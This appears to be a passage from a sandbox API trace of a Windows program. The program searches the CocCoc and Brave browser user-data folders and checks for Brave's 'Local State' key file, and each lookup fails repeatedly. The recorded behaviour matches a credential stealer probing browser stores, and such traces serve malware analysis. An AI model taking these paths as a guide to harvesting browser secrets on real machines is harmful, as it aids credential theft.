[0052.820] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.821] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.821] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.821] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.821] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.821] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.821] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.821] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.821] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.821] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.821] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.821] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x181904 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0
[0052.821] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local"
[0052.821] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\brave\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\"
[0052.821] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\"
[0052.821] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\"
[0052.821] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\Local State"
[0052.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x67d910
[0052.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=55, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55
[0052.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6e) returned 0x67d958
[0052.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=55, lpWideCharStr=0x67d958, cchWideChar=55 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\Local State") returned 55
[0052.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x67d9d0
[0052.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d958 | out: hHeap=0x670000) returned 1
[0052.822] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\local state")) returned 0xffffffff
[0052.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9d0 | out: hHeap=0x670000) returned 1
[0052.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.822] wsprintfA (in: param_1=0x1818cc, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*") returned 44
[0052.822] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*"), lpFindFileData=0x18178c | out: lpFindFileData=0x18178c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0052.822] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.822] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.822] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.822] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.822] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.823] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.823] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.823] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.823] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.823] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.823] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.823] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.823] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.823] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.823] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.823] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.823] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.823] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.823] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.823] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.823] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.823] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.823] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.823] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.824] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.824] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.824] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.824] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.824] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.824] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.824] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.824] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.824] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.824] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.824] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.824] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.824] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.824] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.824] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
[0052.824] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\brave\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.824] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\brave\\\\*.*") returned 46
